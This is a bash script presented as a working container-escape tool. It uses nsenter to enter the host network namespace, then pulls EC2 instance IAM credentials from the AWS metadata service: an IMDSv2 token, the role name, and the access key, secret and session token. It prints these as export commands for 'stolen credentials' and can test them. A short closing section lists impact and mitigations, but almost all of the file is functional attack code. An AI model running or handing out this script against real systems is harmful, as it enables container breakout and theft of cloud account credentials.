#!/bin/bash # Working Container Escape IMDS Extractor # Uses nsenter to escape container network namespace and access IMDS # Based on successful debugging that proved nsenter bypass works echo "==== Container Escape IMDS Credential Extractor ====" echo "Timestamp: $(date)" echo "Container ID: $(hostname)" echo "" DEBUG=${1:-""} VERBOSE=1 debug_log() { if [[ "$DEBUG" == "--debug" ]]; then echo "[DEBUG] $1" fi } error_log() { echo "[ERROR] $1" } success_log() { echo "[SUCCESS] $1" } warning_log() { echo "[WARNING] $1" } info_log() { echo "[INFO] $1" } # Check if we're in a container if [[ -f /.dockerenv ]] || grep -q docker /proc/self/cgroup 2>/dev/null; then success_log "Container environment detected" else warning_log "Not in container - running on host" fi # Verify nsenter is available if ! command -v nsenter >/dev/null 2>&1; then error_log "nsenter not available - cannot escape container network namespace" exit 1 fi success_log "nsenter available for network namespace escape" echo "" echo "=== CONTAINER ESCAPE TECHNIQUE ===" echo "" info_log "Escaping container network namespace to access IMDS..." debug_log "Using: nsenter -t 1 -n (escape to host network namespace)" # Function to execute commands in host network namespace host_network_exec() { nsenter -t 1 -n "$@" } # Test the escape technique first debug_log "Testing network namespace escape..." if host_network_exec echo "Network escape test successful" >/dev/null 2>&1; then success_log "Container network namespace escape SUCCESSFUL" else error_log "Container network namespace escape FAILED" exit 1 fi echo "" echo "=== IMDS ACCESS VIA ESCAPED NETWORK NAMESPACE ===" echo "" # Step 1: Get IMDSv2 Token via escaped network info_log "Step 1: Requesting IMDSv2 token via host network namespace..." debug_log "Command: nsenter -t 1 -n curl -s -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' http://169.254.169.254/latest/api/token" TOKEN=$(host_network_exec curl -s -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token 2>/dev/null) if [[ -n "$TOKEN" ]] && [[ ${#TOKEN} -gt 10 ]]; then success_log "IMDSv2 token acquired via network escape!" debug_log "Token preview: ${TOKEN:0:20}..." else error_log "Failed to get IMDSv2 token via network escape" debug_log "Token response: $TOKEN" exit 1 fi # Step 2: Get IAM role name info_log "Step 2: Getting IAM role name via escaped network..." ROLE_NAME=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null) if [[ -n "$ROLE_NAME" ]]; then success_log "IAM role found: $ROLE_NAME" else error_log "Failed to get IAM role name" debug_log "Role response: $ROLE_NAME" exit 1 fi # Step 3: Get IAM credentials info_log "Step 3: Extracting IAM credentials via escaped network..." CREDENTIALS=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null) if [[ -n "$CREDENTIALS" ]] && echo "$CREDENTIALS" | grep -q "AccessKeyId"; then success_log "IAM credentials extracted successfully!" else error_log "Failed to extract IAM credentials" debug_log "Credentials response: ${CREDENTIALS:0:100}..." exit 1 fi echo "" echo "=== CREDENTIAL EXTRACTION AND PARSING ===" echo "" # Parse credentials (handle both jq and manual parsing) debug_log "Parsing extracted credentials..." if command -v jq >/dev/null 2>&1; then # Use jq for parsing ACCESS_KEY=$(echo "$CREDENTIALS" | jq -r '.AccessKeyId' 2>/dev/null) SECRET_KEY=$(echo "$CREDENTIALS" | jq -r '.SecretAccessKey' 2>/dev/null) SESSION_TOKEN=$(echo "$CREDENTIALS" | jq -r '.Token' 2>/dev/null) EXPIRATION=$(echo "$CREDENTIALS" | jq -r '.Expiration' 2>/dev/null) else # Manual parsing without jq ACCESS_KEY=$(echo "$CREDENTIALS" | grep -o '"AccessKeyId"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4) SECRET_KEY=$(echo "$CREDENTIALS" | grep -o '"SecretAccessKey"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4) SESSION_TOKEN=$(echo "$CREDENTIALS" | grep -o '"Token"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4) EXPIRATION=$(echo "$CREDENTIALS" | grep -o '"Expiration"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4) fi # Validate extracted credentials if [[ -n "$ACCESS_KEY" ]] && [[ -n "$SECRET_KEY" ]] && [[ -n "$SESSION_TOKEN" ]]; then success_log "Credentials parsed successfully" debug_log "Access Key: ${ACCESS_KEY:0:10}..." debug_log "Secret Key: ${SECRET_KEY:0:10}..." debug_log "Session Token: ${SESSION_TOKEN:0:20}..." debug_log "Expiration: $EXPIRATION" else error_log "Failed to parse credentials" debug_log "Raw credentials: $CREDENTIALS" exit 1 fi echo "" echo "============================================" echo "# 🎯 CONTAINER ESCAPE SUCCESSFUL!" echo "# AWS Credentials Extracted via Network Namespace Escape" echo "============================================" echo "" echo "# 🚀 Escape Technique Used:" echo "# Method: Network namespace escape using nsenter" echo "# Command: nsenter -t 1 -n (escape to host network)" echo "# Bypassed: Container network isolation blocking IMDS" echo "" echo "# 📋 Copy and paste these commands to use the stolen credentials:" echo "" echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\"" echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\"" echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\"" echo "" echo "# 📅 Credentials expire at: $EXPIRATION" echo "# 🔍 Verify with: aws sts get-caller-identity" echo "" echo "============================================" echo "# 🛡️ Attack Impact Summary" echo "============================================" echo "✅ Container network namespace escape successful" echo "✅ IMDS hop limit restriction bypassed" echo "✅ IMDSv2 token obtained from host network context" echo "✅ IAM role credentials extracted: $ROLE_NAME" echo "✅ AWS API access gained with temporary credentials" echo "" echo "🚨 This demonstrates how container escapes can:" echo " • Bypass AWS IMDS hop limit protections" echo " • Access host network services from containers" echo " • Steal EC2 instance IAM credentials" echo " • Escalate privileges to AWS account level" echo "" echo "🛡️ Mitigation recommendations:" echo " 1. Enforce IMDSv2 with hop limit = 1" echo " 2. Use least-privilege IAM roles" echo " 3. Implement network policies blocking IMDS from containers" echo " 4. Monitor nsenter usage and container escapes" echo " 5. Use AWS IAM Roles Anywhere for container authentication" echo "============================================" # Optional: Test the credentials if [[ "$DEBUG" == "--debug" ]] && command -v aws >/dev/null 2>&1; then echo "" debug_log "Testing extracted credentials..." # Set credentials in environment export AWS_ACCESS_KEY_ID="$ACCESS_KEY" export AWS_SECRET_ACCESS_KEY="$SECRET_KEY" export AWS_SESSION_TOKEN="$SESSION_TOKEN" # Test with aws cli echo "--- Credential Test ---" aws sts get-caller-identity 2>/dev/null || echo "AWS CLI test failed (normal if aws not configured)" echo "--- End Test ---" fi echo "" success_log "Container escape and credential extraction completed!" info_log "Use the exported environment variables to access AWS services"